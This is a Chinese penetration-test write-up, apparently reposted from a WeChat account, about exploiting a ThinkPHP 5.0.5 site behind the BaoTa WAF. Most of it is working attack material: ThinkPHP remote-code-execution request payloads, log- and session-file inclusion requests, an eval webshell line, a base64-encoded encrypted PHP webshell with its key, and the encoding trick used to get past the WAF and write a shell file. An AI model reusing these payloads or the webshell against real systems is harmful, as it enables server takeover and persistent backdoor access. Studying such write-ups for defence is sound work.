渗透测试 | 记一次Thinkphp测试绕宝塔

admin 2022年11月25日10:58:14安全文章评论7 views3023字阅读10分4秒阅读模式


  • 记一次Thinkphp测试绕宝塔

    • 一、简单的信息收集

    • 二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。

    • 三、session包含


记一次Thinkphp测试绕宝塔

一、简单的信息收集

尝试路径报错,获取目标版本和配置信息。

https://example.com/admin/indeeex/login.html

版本为5.0.5,开启debug。渗透测试 | 记一次Thinkphp测试绕宝塔直接执行payload,宝塔拦截

/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

渗透测试 | 记一次Thinkphp测试绕宝塔尝试post执行paylaod

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

成功执行,php5的assert默认存在代码执行,php7默认不存在。渗透测试 | 记一次Thinkphp测试绕宝塔禁用函数

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv 

不能直接执行命令,尝试日志包含和session包含拿shell。


二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。

https://example.com/runtime/log/202111/17.log

对日志进行包含

_method=__construct&method=get&filter=think__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log

渗透测试 | 记一次Thinkphp测试绕宝塔简单看一下访问记录是否能够写入日志,访问

https://example.com/phpinfo

可以正常写入渗透测试 | 记一次Thinkphp测试绕宝塔但是在写入函数的时候被拦截

https://example.com/phpinfo()

渗透测试 | 记一次Thinkphp测试绕宝塔正常payload这被拦截

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

三、session包含

_method=__construct&filter[]=thinkSession::set&method=get&get[]=eeee&server[]=1

修改一下phpsessionid为1111,进行session包含,可以看到正常写入。

_method=__construct&method=get&filter=think__include_file&get[]=/tmp/sess_1111

渗透测试 | 记一次Thinkphp测试绕宝塔但是如果直接写入shell的话会被拦截渗透测试 | 记一次Thinkphp测试绕宝塔所以这里尝试对payload进行加密处理。使用以下payload

_method=__construct&method=get&filter=thinkSession::set&get[]=<?PHP
$str="PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpmdW5jdGlvbiBlbmNvZGUoJEQsJEspewogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7CiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsKICAgICAgICAkRFskaV0gPSAkRFskaV1eJGM7CiAgICB9CiAgICByZXR1cm4gJEQ7Cn0KJHBheWxvYWROYW1lPSdwYXlsb2FkJzsKJGtleT0nM2M2ZTBiOGE5YzE1MjI0YSc7CiRkYXRhPWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwppZiAoJGRhdGEhPT1mYWxzZSl7CiAgICAkZGF0YT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0pKXsKICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7CgkJZXZhbCgkcGF5bG9hZCk7CiAgICAgICAgZWNobyBlbmNvZGUoQHJ1bigkZGF0YSksJGtleSk7CiAgICB9ZWxzZXsKICAgICAgICBpZiAoc3RyaXBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2UpewogICAgICAgICAgICAkX1NFU1NJT05bJHBheWxvYWROYW1lXT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICAgICAgfQogICAgfQp9";
file_put_contents('/www/wwwroot/taizi/icon.png',base64_decode("$str"));;

未被拦截,但是在包含的时候出问题了,试了好多次大大概的原因就是<和"两个符号会导致解析的时候出问题。渗透测试 | 记一次Thinkphp测试绕宝塔尝试对所有payload加密使用伪协议读取内容,但是在使用伪协议对时候又被拦截。渗透测试 | 记一次Thinkphp测试绕宝塔这时候可以尝试使用函数,将伪协议反序。

_method=__construct&filter[]=thinkSession::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1

成功执行。渗透测试 | 记一次Thinkphp测试绕宝塔最后要写shell的话直接将shell加密,再将代码加密即可写入。

file_put_contents('/www/wwwroot/test123.php',base64_decode("PD9waHAgcGhwaW5mbygpOz8+"));


原文始发于微信公众号(不懂安全的果仁):渗透测试 | 记一次Thinkphp测试绕宝塔

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月25日10:58:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  渗透测试 | 记一次Thinkphp测试绕宝塔 http://cn-sec.com/archives/1422642.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: